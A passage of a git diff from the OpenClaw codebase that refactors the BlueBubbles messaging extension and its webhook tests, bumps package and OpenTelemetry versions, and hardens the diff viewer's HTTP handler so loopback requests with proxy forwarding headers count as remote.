- ); - if (!res.ok) { - const errorText = await res.text().catch(() => ""); - throw new Error(`BlueBubbles typing failed (${res.status}): ${errorText || "unknown"}`); - } } /** diff --git a/extensions/bluebubbles/src/config-apply.ts b/extensions/bluebubbles/src/config-apply.ts new file mode 100644 index 00000000000..70b8c7cae37 --- /dev/null +++ b/extensions/bluebubbles/src/config-apply.ts @@ -0,0 +1,77 @@ +import { DEFAULT_ACCOUNT_ID, type OpenClawConfig } from "openclaw/plugin-sdk/bluebubbles"; + +type BlueBubblesConfigPatch = { + serverUrl?: string; + password?: unknown; + webhookPath?: string; +}; + +type AccountEnabledMode = boolean | "preserve-or-true"; + +function normalizePatch( + patch: BlueBubblesConfigPatch, + onlyDefinedFields: boolean, +): BlueBubblesConfigPatch { + if (!onlyDefinedFields) { + return patch; + } + const next: BlueBubblesConfigPatch = {}; + if (patch.serverUrl !== undefined) { + next.serverUrl = patch.serverUrl; + } + if (patch.password !== undefined) { + next.password = patch.password; + } + if (patch.webhookPath !== undefined) { + next.webhookPath = patch.webhookPath; + } + return next; +} + +export function applyBlueBubblesConnectionConfig(params: { + cfg: OpenClawConfig; + accountId: string; + patch: BlueBubblesConfigPatch; + onlyDefinedFields?: boolean; + accountEnabled?: AccountEnabledMode; +}): OpenClawConfig { + const patch = normalizePatch(params.patch, params.onlyDefinedFields === true); + if (params.accountId === DEFAULT_ACCOUNT_ID) { + return { + ...params.cfg, + channels: { + ...params.cfg.channels, + bluebubbles: { + ...params.cfg.channels?.bluebubbles, + enabled: true, + ...patch, + }, + }, + }; + } + + const currentAccount = params.cfg.channels?.bluebubbles?.accounts?.[params.accountId]; + const enabled = + params.accountEnabled === "preserve-or-true" + ? (currentAccount?.enabled ?? true) + : (params.accountEnabled ?? true); + + return { + ...params.cfg, + channels: { + ...params.cfg.channels, + bluebubbles: { + ...params.cfg.channels?.bluebubbles, + enabled: true, + accounts: { + ...params.cfg.channels?.bluebubbles?.accounts, + [params.accountId]: { + ...currentAccount, + enabled, + ...patch, + }, + }, + }, + }, + }; +} diff --git a/extensions/bluebubbles/src/config-schema.test.ts b/extensions/bluebubbles/src/config-schema.test.ts index 5bf66704d35..308ee9732b5 100644 --- a/extensions/bluebubbles/src/config-schema.test.ts +++ b/extensions/bluebubbles/src/config-schema.test.ts @@ -5,7 +5,7 @@ describe("BlueBubblesConfigSchema", () => { it("accepts account config when serverUrl and password are both set", () => { const parsed = BlueBubblesConfigSchema.safeParse({ serverUrl: "http://localhost:1234", - password: "secret", + password: "secret", // pragma: allowlist secret }); expect(parsed.success).toBe(true); }); diff --git a/extensions/bluebubbles/src/monitor-normalize.ts b/extensions/bluebubbles/src/monitor-normalize.ts index e591f21dfb9..22705e6b12c 100644 --- a/extensions/bluebubbles/src/monitor-normalize.ts +++ b/extensions/bluebubbles/src/monitor-normalize.ts @@ -1,3 +1,4 @@ +import { parseFiniteNumber } from "../../../src/infra/parse-finite-number.js"; import { extractHandleFromChatGuid, normalizeBlueBubblesHandle } from "./targets.js"; import type { BlueBubblesAttachment } from "./types.js"; @@ -35,17 +36,7 @@ function readNumberLike(record: Record | null, key: string): nu if (!record) { return undefined; } - const value = record[key]; - if (typeof value === "number" && Number.isFinite(value)) { - return value; - } - if (typeof value === "string") { - const parsed = Number.parseFloat(value); - if (Number.isFinite(parsed)) { - return parsed; - } - } - return undefined; + return parseFiniteNumber(record[key]); } function extractAttachments(message: Record): BlueBubblesAttachment[] { diff --git a/extensions/bluebubbles/src/monitor.test.ts b/extensions/bluebubbles/src/monitor.test.ts index b64cabe63e9..b02019058b8 100644 --- a/extensions/bluebubbles/src/monitor.test.ts +++ b/extensions/bluebubbles/src/monitor.test.ts @@ -2391,11 +2391,11 @@ describe("BlueBubbles webhook monitor", () => { }); const accountA: ResolvedBlueBubblesAccount = { - ...createMockAccount({ dmHistoryLimit: 3, password: "password-a" }), + ...createMockAccount({ dmHistoryLimit: 3, password: "password-a" }), // pragma: allowlist secret accountId: "acc-a", }; const accountB: ResolvedBlueBubblesAccount = { - ...createMockAccount({ dmHistoryLimit: 3, password: "password-b" }), + ...createMockAccount({ dmHistoryLimit: 3, password: "password-b" }), // pragma: allowlist secret accountId: "acc-b", }; const config: OpenClawConfig = {}; diff --git a/extensions/bluebubbles/src/monitor.webhook-auth.test.ts b/extensions/bluebubbles/src/monitor.webhook-auth.test.ts index 9dd8e6f470b..7a6a29353bd 100644 --- a/extensions/bluebubbles/src/monitor.webhook-auth.test.ts +++ b/extensions/bluebubbles/src/monitor.webhook-auth.test.ts @@ -166,7 +166,7 @@ function createMockAccount( configured: true, config: { serverUrl: "http://localhost:1234", - password: "test-password", + password: "test-password", // pragma: allowlist secret dmPolicy: "open", groupPolicy: "open", allowFrom: [], @@ -261,6 +261,47 @@ describe("BlueBubbles webhook monitor", () => { unregister?.(); }); + function setupWebhookTarget(params?: { + account?: ResolvedBlueBubblesAccount; + config?: OpenClawConfig; + core?: PluginRuntime; + statusSink?: (event: unknown) => void; + }) { + const account = params?.account ?? createMockAccount(); + const config = params?.config ?? {}; + const core = params?.core ?? createMockRuntime(); + setBlueBubblesRuntime(core); + unregister = registerBlueBubblesWebhookTarget({ + account, + config, + runtime: { log: vi.fn(), error: vi.fn() }, + core, + path: "/bluebubbles-webhook", + statusSink: params?.statusSink, + }); + return { account, config, core }; + } + + function createNewMessagePayload(dataOverrides: Record = {}) { + return { + type: "new-message", + data: { + text: "hello", + handle: { address: "+15551234567" }, + isGroup: false, + isFromMe: false, + guid: "msg-1", + ...dataOverrides, + }, + }; + } + + function setRequestRemoteAddress(req: IncomingMessage, remoteAddress: string) { + (req as unknown as { socket: { remoteAddress: string } }).socket = { + remoteAddress, + }; + } + describe("webhook parsing + auth handling", () => { it("rejects non-POST requests", async () => { const account = createMockAccount(); @@ -286,30 +327,8 @@ describe("BlueBubbles webhook monitor", () => { }); it("accepts POST requests with valid JSON payload", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); - - const payload = { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - date: Date.now(), - }, - }; + setupWebhookTarget(); + const payload = createNewMessagePayload({ date: Date.now() }); const req = createMockRequest("POST", "/bluebubbles-webhook", payload); const res = createMockResponse(); @@ -345,30 +364,8 @@ describe("BlueBubbles webhook monitor", () => { }); it("accepts URL-encoded payload wrappers", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); - - const payload = { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - date: Date.now(), - }, - }; + setupWebhookTarget(); + const payload = createNewMessagePayload({ date: Date.now() }); const encodedBody = new URLSearchParams({ payload: JSON.stringify(payload), }).toString(); @@ -458,32 +455,15 @@ describe("BlueBubbles webhook monitor", () => { it("authenticates via password query parameter", async () => { const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); // Mock non-localhost request - const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); + const req = createMockRequest( + "POST", + "/bluebubbles-webhook?password=secret-token", + createNewMessagePayload(), + ); + setRequestRemoteAddress(req, "192.168.1.100"); + setupWebhookTarget({ account }); const res = createMockResponse(); const handled = await handleBlueBubblesWebhookRequest(req, res); @@ -494,36 +474,15 @@ describe("BlueBubbles webhook monitor", () => { it("authenticates via x-password header", async () => { const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); const req = createMockRequest( "POST", "/bluebubbles-webhook", - { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }, - { "x-password": "secret-token" }, + createNewMessagePayload(), + { "x-password": "secret-token" }, // pragma: allowlist secret ); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); + setRequestRemoteAddress(req, "192.168.1.100"); + setupWebhookTarget({ account }); const res = createMockResponse(); const handled = await handleBlueBubblesWebhookRequest(req, res); @@ -534,31 +493,13 @@ describe("BlueBubbles webhook monitor", () => { it("rejects unauthorized requests with wrong password", async () => { const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - const req = createMockRequest("POST", "/bluebubbles-webhook?password=wrong-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); + const req = createMockRequest( + "POST", + "/bluebubbles-webhook?password=wrong-token", + createNewMessagePayload(), + ); + setRequestRemoteAddress(req, "192.168.1.100"); + setupWebhookTarget({ account }); const res = createMockResponse(); const handled = await handleBlueBubblesWebhookRequest(req, res); @@ -770,32 +711,14 @@ describe("BlueBubbles webhook monitor", () => { const { resolveChatGuidForTarget } = await import("./send.js"); vi.mocked(resolveChatGuidForTarget).mockClear(); - const account = createMockAccount({ groupPolicy: "open" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + setupWebhookTarget({ account: createMockAccount({ groupPolicy: "open" }) }); + const payload = createNewMessagePayload({ + text: "hello from group", + isGroup: true, + chatId: "123", + date: Date.now(), }); - const payload = { - type: "new-message", - data: { - text: "hello from group", - handle: { address: "+15551234567" }, - isGroup: true, - isFromMe: false, - guid: "msg-1", - chatId: "123", - date: Date.now(), - }, - }; - const req = createMockRequest("POST", "/bluebubbles-webhook", payload); const res = createMockResponse(); @@ -819,32 +742,14 @@ describe("BlueBubbles webhook monitor", () => { return EMPTY_DISPATCH_RESULT; }); - const account = createMockAccount({ groupPolicy: "open" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + setupWebhookTarget({ account: createMockAccount({ groupPolicy: "open" }) }); + const payload = createNewMessagePayload({ + text: "hello from group", + isGroup: true, + chat: { chatGuid: "iMessage;+;chat123456" }, + date: Date.now(), }); - const payload = { - type: "new-message", - data: { - text: "hello from group", - handle: { address: "+15551234567" }, - isGroup: true, - isFromMe: false, - guid: "msg-1", - chat: { chatGuid: "iMessage;+;chat123456" }, - date: Date.now(), - }, - }; - const req = createMockRequest("POST", "/bluebubbles-webhook", payload); const res = createMockResponse(); diff --git a/extensions/bluebubbles/src/onboarding.ts b/extensions/bluebubbles/src/onboarding.ts index 8936d3d5c52..bd6bb0913b8 100644 --- a/extensions/bluebubbles/src/onboarding.ts +++ b/extensions/bluebubbles/src/onboarding.ts @@ -18,6 +18,7 @@ import { resolveBlueBubblesAccount, resolveDefaultBlueBubblesAccountId, } from "./accounts.js"; +import { applyBlueBubblesConnectionConfig } from "./config-apply.js"; import { hasConfiguredSecretInput, normalizeSecretInputString } from "./secret-input.js"; import { parseBlueBubblesAllowTarget } from "./targets.js"; import { normalizeBlueBubblesServerUrl } from "./types.js"; @@ -283,42 +284,16 @@ export const blueBubblesOnboardingAdapter: ChannelOnboardingAdapter = { } // Apply config - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - serverUrl, - password, - webhookPath, - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - accounts: { - ...next.channels?.bluebubbles?.accounts, - [accountId]: { - ...next.channels?.bluebubbles?.accounts?.[accountId], - enabled: next.channels?.bluebubbles?.accounts?.[accountId]?.enabled ?? true, - serverUrl, - password, - webhookPath, - }, - }, - }, - }, - }; - } + next = applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl, + password, + webhookPath, + }, + accountEnabled: "preserve-or-true", + }); await prompter.note( [ diff --git a/extensions/bluebubbles/src/request-url.ts b/extensions/bluebubbles/src/request-url.ts index 0be775359d5..cd1527f186f 100644 --- a/extensions/bluebubbles/src/request-url.ts +++ b/extensions/bluebubbles/src/request-url.ts @@ -1,12 +1 @@ -export function resolveRequestUrl(input: RequestInfo | URL): string { - if (typeof input === "string") { - return input; - } - if (input instanceof URL) { - return input.toString(); - } - if (typeof input === "object" && input && "url" in input && typeof input.url === "string") { - return input.url; - } - return String(input); -} +export { resolveRequestUrl } from "openclaw/plugin-sdk/bluebubbles"; diff --git a/extensions/bluebubbles/src/secret-input.ts b/extensions/bluebubbles/src/secret-input.ts index 8a5530f4607..a5aa73ebda0 100644 --- a/extensions/bluebubbles/src/secret-input.ts +++ b/extensions/bluebubbles/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/bluebubbles"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/bluebubbles/src/send.ts b/extensions/bluebubbles/src/send.ts index a32fd92d470..8c12e88bd23 100644 --- a/extensions/bluebubbles/src/send.ts +++ b/extensions/bluebubbles/src/send.ts @@ -108,6 +108,19 @@ function resolvePrivateApiDecision(params: { }; } +async function parseBlueBubblesMessageResponse(res: Response): Promise { + const body = await res.text(); + if (!body) { + return { messageId: "ok" }; + } + try { + const parsed = JSON.parse(body) as unknown; + return { messageId: extractBlueBubblesMessageId(parsed) }; + } catch { + return { messageId: "ok" }; + } +} + type BlueBubblesChatRecord = Record; function extractChatGuid(chat: BlueBubblesChatRecord): string | null { @@ -342,16 +355,7 @@ async function createNewChatWithMessage(params: { } throw new Error(`BlueBubbles create chat failed (${res.status}): ${errorText || "unknown"}`); } - const body = await res.text(); - if (!body) { - return { messageId: "ok" }; - } - try { - const parsed = JSON.parse(body) as unknown; - return { messageId: extractBlueBubblesMessageId(parsed) }; - } catch { - return { messageId: "ok" }; - } + return parseBlueBubblesMessageResponse(res); } export async function sendMessageBlueBubbles( @@ -464,14 +468,5 @@ export async function sendMessageBlueBubbles( const errorText = await res.text(); throw new Error(`BlueBubbles send failed (${res.status}): ${errorText || "unknown"}`); } - const body = await res.text(); - if (!body) { - return { messageId: "ok" }; - } - try { - const parsed = JSON.parse(body) as unknown; - return { messageId: extractBlueBubblesMessageId(parsed) }; - } catch { - return { messageId: "ok" }; - } + return parseBlueBubblesMessageResponse(res); } diff --git a/extensions/copilot-proxy/package.json b/extensions/copilot-proxy/package.json index acd0f4096e1..ea24b22495c 100644 --- a/extensions/copilot-proxy/package.json +++ b/extensions/copilot-proxy/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/copilot-proxy", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Copilot Proxy provider plugin", "type": "module", diff --git a/extensions/diagnostics-otel/package.json b/extensions/diagnostics-otel/package.json index e1312867c5a..c03df3af8e4 100644 --- a/extensions/diagnostics-otel/package.json +++ b/extensions/diagnostics-otel/package.json @@ -1,19 +1,19 @@ { "name": "@openclaw/diagnostics-otel", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw diagnostics OpenTelemetry exporter", "type": "module", "dependencies": { "@opentelemetry/api": "^1.9.0", - "@opentelemetry/api-logs": "^0.212.0", - "@opentelemetry/exporter-logs-otlp-proto": "^0.212.0", - "@opentelemetry/exporter-metrics-otlp-proto": "^0.212.0", - "@opentelemetry/exporter-trace-otlp-proto": "^0.212.0", - "@opentelemetry/resources": "^2.5.1", - "@opentelemetry/sdk-logs": "^0.212.0", - "@opentelemetry/sdk-metrics": "^2.5.1", - "@opentelemetry/sdk-node": "^0.212.0", - "@opentelemetry/sdk-trace-base": "^2.5.1", + "@opentelemetry/api-logs": "^0.213.0", + "@opentelemetry/exporter-logs-otlp-proto": "^0.213.0", + "@opentelemetry/exporter-metrics-otlp-proto": "^0.213.0", + "@opentelemetry/exporter-trace-otlp-proto": "^0.213.0", + "@opentelemetry/resources": "^2.6.0", + "@opentelemetry/sdk-logs": "^0.213.0", + "@opentelemetry/sdk-metrics": "^2.6.0", + "@opentelemetry/sdk-node": "^0.213.0", + "@opentelemetry/sdk-trace-base": "^2.6.0", "@opentelemetry/semantic-conventions": "^1.40.0" }, "openclaw": { diff --git a/extensions/diagnostics-otel/src/service.test.ts b/extensions/diagnostics-otel/src/service.test.ts index e77d1f3cabe..d310b227be3 100644 --- a/extensions/diagnostics-otel/src/service.test.ts +++ b/extensions/diagnostics-otel/src/service.test.ts @@ -329,13 +329,13 @@ describe("diagnostics-otel service", () => { test("redacts sensitive data from log attributes before export", async () => { const emitCall = await emitAndCaptureLog({ - 0: '{"token":"ghp_abcdefghijklmnopqrstuvwxyz123456"}', + 0: '{"token":"ghp_abcdefghijklmnopqrstuvwxyz123456"}', // pragma: allowlist secret 1: "auth configured", _meta: { logLevelName: "DEBUG", date: new Date() }, }); const tokenAttr = emitCall?.attributes?.["openclaw.token"]; - expect(tokenAttr).not.toBe("ghp_abcdefghijklmnopqrstuvwxyz123456"); + expect(tokenAttr).not.toBe("ghp_abcdefghijklmnopqrstuvwxyz123456"); // pragma: allowlist secret if (typeof tokenAttr === "string") { expect(tokenAttr).toContain("…"); } @@ -349,7 +349,7 @@ describe("diagnostics-otel service", () => { emitDiagnosticEvent({ type: "session.state", state: "waiting", - reason: "token=ghp_abcdefghijklmnopqrstuvwxyz123456", + reason: "token=ghp_abcdefghijklmnopqrstuvwxyz123456", // pragma: allowlist secret }); const sessionCounter = telemetryState.counters.get("openclaw.session.state"); @@ -362,7 +362,7 @@ describe("diagnostics-otel service", () => { const attrs = sessionCounter?.add.mock.calls[0]?.[1] as Record | undefined; expect(typeof attrs?.["openclaw.reason"]).toBe("string"); expect(String(attrs?.["openclaw.reason"])).not.toContain( - "ghp_abcdefghijklmnopqrstuvwxyz123456", + "ghp_abcdefghijklmnopqrstuvwxyz123456", // pragma: allowlist secret ); await service.stop?.(ctx); }); diff --git a/extensions/diffs/index.test.ts b/extensions/diffs/index.test.ts index 84ce5d9fe87..df0a0a79192 100644 --- a/extensions/diffs/index.test.ts +++ b/extensions/diffs/index.test.ts @@ -30,6 +30,7 @@ describe("diffs plugin registration", () => { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, @@ -105,6 +106,7 @@ describe("diffs plugin registration", () => { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, @@ -138,9 +140,14 @@ describe("diffs plugin registration", () => { }); }); -function localReq(input: { method: string; url: string }): IncomingMessage { +function localReq(input: { + method: string; + url: string; + headers?: IncomingMessage["headers"]; +}): IncomingMessage { return { ...input, + headers: input.headers ?? {}, socket: { remoteAddress: "127.0.0.1" }, } as unknown as IncomingMessage; } diff --git a/extensions/diffs/package.json b/extensions/diffs/package.json index a19e164b135..f22da59a6c7 100644 --- a/extensions/diffs/package.json +++ b/extensions/diffs/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/diffs", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw diff viewer plugin", "type": "module", diff --git a/extensions/diffs/src/config.test.ts b/extensions/diffs/src/config.test.ts index a2795546fdb..b7845326483 100644 --- a/extensions/diffs/src/config.test.ts +++ b/extensions/diffs/src/config.test.ts @@ -7,6 +7,23 @@ import { resolveDiffsPluginSecurity, } from "./config.js"; +const FULL_DEFAULTS = { + fontFamily: "JetBrains Mono", + fontSize: 17, + lineSpacing: 1.8, + layout: "split", + showLineNumbers: false, + diffIndicators: "classic", + wordWrap: false, + background: false, + theme: "light", + fileFormat: "pdf", + fileQuality: "hq", + fileScale: 2.6, + fileMaxWidth: 1280, + mode: "file", +} as const; + describe("resolveDiffsPluginDefaults", () => { it("returns built-in defaults when config is missing", () => { expect(resolveDiffsPluginDefaults(undefined)).toEqual(DEFAULT_DIFFS_TOOL_DEFAULTS); @@ -15,39 +32,9 @@ describe("resolveDiffsPluginDefaults", () => { it("applies configured defaults from plugin config", () => { expect( resolveDiffsPluginDefaults({ - defaults: { - fontFamily: "JetBrains Mono", - fontSize: 17, - lineSpacing: 1.8, - layout: "split", - showLineNumbers: false, - diffIndicators: "classic", - wordWrap: false, - background: false, - theme: "light", - fileFormat: "pdf", - fileQuality: "hq", - fileScale: 2.6, - fileMaxWidth: 1280, - mode: "file", - }, + defaults: FULL_DEFAULTS, }), - ).toEqual({ - fontFamily: "JetBrains Mono", - fontSize: 17, - lineSpacing: 1.8, - layout: "split", - showLineNumbers: false, - diffIndicators: "classic", - wordWrap: false, - background: false, - theme: "light", - fileFormat: "pdf", - fileQuality: "hq", - fileScale: 2.6, - fileMaxWidth: 1280, - mode: "file", - }); + ).toEqual(FULL_DEFAULTS); }); it("clamps and falls back for invalid line spacing and indicators", () => { diff --git a/extensions/diffs/src/http.test.ts b/extensions/diffs/src/http.test.ts index b9a0fee6e59..5e8c2927691 100644 --- a/extensions/diffs/src/http.test.ts +++ b/extensions/diffs/src/http.test.ts @@ -135,6 +135,29 @@ describe("createDiffsHttpHandler", () => { expect(res.statusCode).toBe(404); }); + it("blocks loopback requests that carry proxy forwarding headers by default", async () => { + const artifact = await store.createArtifact({ + html: "viewer", + title: "Demo", + inputKind: "before_after", + fileCount: 1, + }); + + const handler = createDiffsHttpHandler({ store }); + const res = createMockServerResponse(); + const handled = await handler( + localReq({ + method: "GET", + url: artifact.viewerPath, + headers: { "x-forwarded-for": "203.0.113.10" }, + }), + res, + ); + + expect(handled).toBe(true); + expect(res.statusCode).toBe(404); + }); + it("allows remote access when allowRemoteViewer is enabled", async () => { const artifact = await store.createArtifact({ html: "viewer", @@ -158,6 +181,30 @@ describe("createDiffsHttpHandler", () => { expect(res.body).toBe("viewer"); }); + it("allows proxied loopback requests when allowRemoteViewer is enabled", async () => { + const artifact = await store.createArtifact({ + html: "viewer", + title: "Demo", + inputKind: "before_after", + fileCount: 1, + }); + + const handler = createDiffsHttpHandler({ store, allowRemoteViewer: true }); + const res = createMockServerResponse(); + const handled = await handler( + localReq({ + method: "GET", + url: artifact.viewerPath, + headers: { "x-forwarded-for": "203.0.113.10" }, + }), + res, + ); + + expect(handled).toBe(true); + expect(res.statusCode).toBe(200); + expect(res.body).toBe("viewer"); + }); + it("rate-limits repeated remote misses", async () => { const handler = createDiffsHttpHandler({ store, allowRemoteViewer: true }); @@ -185,16 +232,26 @@ describe("createDiffsHttpHandler", () => { }); }); -function localReq(input: { method: string; url: string }): IncomingMessage { +function localReq(input: { + method: string; + url: string; + headers?: Record; +}): IncomingMessage { return { ...input, + headers: input.headers ?? {}, socket: { remoteAddress: "127.0.0.1" }, } as unknown as IncomingMessage; } -function remoteReq(input: { method: string; url: string }): IncomingMessage { +function remoteReq(input: { + method: string; + url: string; + headers?: Record; +}): IncomingMessage { return { ...input, + headers: input.headers ?? {}, socket: { remoteAddress: "203.0.113.10" }, } as unknown as IncomingMessage; } diff --git a/extensions/diffs/src/http.ts b/extensions/diffs/src/http.ts index 0f17e77fd9e..445500b2340 100644 --- a/extensions/diffs/src/http.ts +++ b/extensions/diffs/src/http.ts @@ -42,9 +42,8 @@ export function createDiffsHttpHandler(params: { return false; } - const remoteKey = normalizeRemoteClientKey(req.socket?.remoteAddress); - const localRequest = isLoopbackClientIp(remoteKey); - if (!localRequest && params.allowRemoteViewer !== true) { + const access = resolveViewerAccess(req); + if (!access.localRequest && params.allowRemoteViewer !== true) { respondText(res, 404, "Diff not found"); return true; } @@ -54,8 +53,8 @@ export function createDiffsHttpHandler(params: { return true; } - if (!localRequest) { - const throttled = viewerFailureLimiter.check(remoteKey); + if (!access.localRequest) { + const throttled = viewerFailureLimiter.check(access.remoteKey); if (!throttled.allowed) { res.statusCode = 429; setSharedHeaders(res, "text/plain; charset=utf-8"); @@ -74,27 +73,21 @@ export function createDiffsHttpHandler(params: { !DIFF_ARTIFACT_ID_PATTERN.test(id) || !DIFF_ARTIFACT_TOKEN_PATTERN.test(token) ) { - if (!localRequest) { - viewerFailureLimiter.recordFailure(remoteKey); - } + recordRemoteFailure(viewerFailureLimiter, access); respondText(res, 404, "Diff not found"); return true; } const artifact = await params.store.getArtifact(id, token); if (!artifact) { - if (!localRequest) { - viewerFailureLimiter.recordFailure(remoteKey); - } + recordRemoteFailure(viewerFailureLimiter, access); respondText(res, 404, "Diff not found or expired"); return true; } try { const html = await params.store.readHtml(id); - if (!localRequest) { - viewerFailureLimiter.reset(remoteKey); - } + resetRemoteFailures(viewerFailureLimiter, access); res.statusCode = 200; setSharedHeaders(res, "text/html; charset=utf-8"); res.setHeader("content-security-policy", VIEWER_CONTENT_SECURITY_POLICY); @@ -105,9 +98,7 @@ export function createDiffsHttpHandler(params: { } return true; } catch (error) { - if (!localRequest) { - viewerFailureLimiter.recordFailure(remoteKey); - } + recordRemoteFailure(viewerFailureLimiter, access); params.logger?.warn(`Failed to serve diff artifact ${id}: ${String(error)}`); respondText(res, 500, "Failed to load diff"); return true; @@ -184,6 +175,44 @@ function isLoopbackClientIp(clientIp: string): boolean { return clientIp === "127.0.0.1" || clientIp === "::1"; } +function hasProxyForwardingHints(req: IncomingMessage): boolean { + const headers = req.headers ?? {}; + return Boolean( + headers["x-forwarded-for"] || + headers["x-real-ip"] || + headers.forwarded || + headers["x-forwarded-host"] || + headers["x-forwarded-proto"], + ); +} + +function resolveViewerAccess(req: IncomingMessage): { + remoteKey: string; + localRequest: boolean; +} { + const remoteKey = normalizeRemoteClientKey(req.socket?.remoteAddress); + const localRequest = isLoopbackClientIp(remoteKey) && !hasProxyForwardingHints(req); + return { remoteKey, localRequest }; +} + +function recordRemoteFailure( + limiter: ViewerFailureLimiter, + access: { remoteKey: string; localRequest: boolean }, +): void { + if (!access.localRequest) { + limiter.recordFailure(access.remoteKey); + } +} + +function resetRemoteFailures( + limiter: ViewerFailureLimiter, + access: { remoteKey: string; localRequest: boolean }, +): void { + if (!access.localRequest) { + limiter.reset(access.remoteKey); + } +} + type RateLimitCheckResult = { allowed: boolean; retryAfterMs: number; diff --git a/extensions/diffs/src/tool.test.ts b/extensions/diffs/src/tool.test.ts index db66255cba6..97ee6234148 100644 --- a/extensions/diffs/src/tool.test.ts +++ b/extensions/diffs/src/tool.test.ts @@ -95,23 +95,11 @@ describe("diffs tool", () => { }); it("renders PDF output when fileFormat is pdf", async () => { - const screenshotter = { - screenshotHtml: vi.fn( - async ({ - outputPath, - image, - }: { - outputPath: string; - image: { format: string; qualityPreset: string; scale: number; maxWidth: number }; - }) => { - expect(image.format).toBe("pdf"); - expect(outputPath).toMatch(/preview\.pdf$/); - await fs.mkdir(path.dirname(outputPath), { recursive: true }); - await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); - return outputPath; - }, - ), - }; + const screenshotter = createPdfScreenshotter({ + assertOutputPath: (outputPath) => { + expect(outputPath).toMatch(/preview\.pdf$/); + }, + }); const tool = createDiffsTool({ api: createApi(), @@ -208,22 +196,7 @@ describe("diffs tool", () => { }); it("accepts deprecated format alias for fileFormat", async () => { - const screenshotter = { - screenshotHtml: vi.fn( - async ({ - outputPath, - image, - }: { - outputPath: string; - image: { format: string; qualityPreset: string; scale: number; maxWidth: number }; - }) => { - expect(image.format).toBe("pdf"); - await fs.mkdir(path.dirname(outputPath), { recursive: true }); - await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); - return outputPath; - }, - ), - }; + const screenshotter = createPdfScreenshotter(); const tool = createDiffsTool({ api: createApi(), @@ -441,6 +414,7 @@ function createApi(): OpenClawPluginApi { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, @@ -491,6 +465,23 @@ function createPngScreenshotter( }; } +function createPdfScreenshotter( + params: { + assertOutputPath?: (outputPath: string) => void; + } = {}, +): DiffScreenshotter { + const screenshotHtml: DiffScreenshotter["screenshotHtml"] = vi.fn( + async ({ outputPath, image }: { outputPath: string; image: DiffRenderOptions["image"] 